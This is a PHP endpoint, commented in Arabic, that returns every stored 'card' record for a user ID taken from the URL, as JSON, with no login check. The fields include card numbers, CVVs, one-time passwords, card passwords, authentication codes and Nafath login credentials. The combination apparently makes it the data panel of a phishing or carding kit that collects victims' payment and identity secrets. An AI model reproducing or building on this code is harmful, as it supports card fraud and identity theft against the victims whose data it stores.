<?php
require_once(__DIR__ . '/../json_db.php');
session_start();
$id = intval($_GET['user_id']);
$cards = $jsonDB->findAllBy('card', 'userId', $id);

// إضافة default values للحقول المفقودة (مثل MySQL DEFAULT)
$defaults = [
    'cardNumber' => null,
    'cardName' => null,
    'password' => null,
    'status' => 0,
    'year' => null,
    'cvv' => null,
    'otp' => null,
    'company' => '####',
    'PhoneNumber' => null,
    'userId' => null,
    'url' => null,
    'Authentication_code' => null,
    'New_code' => null,
    'UserName_Nafad' => null,
    'UserPasswore_Nafad' => null,
    'CheckTheInfo_Nafad' => 0,
    'TemporaryPassword' => null,
    'username' => null,
    'passwordt' => null
];

$result = [];
foreach ($cards as $card) {
    $row = $defaults;
    foreach ($card as $key => $value) {
        $row[$key] = $value;
    }
    $result[] = $row;
}

// عكس الترتيب بحيث الأحدث فوق
$result = array_reverse($result);

echo json_encode($result);
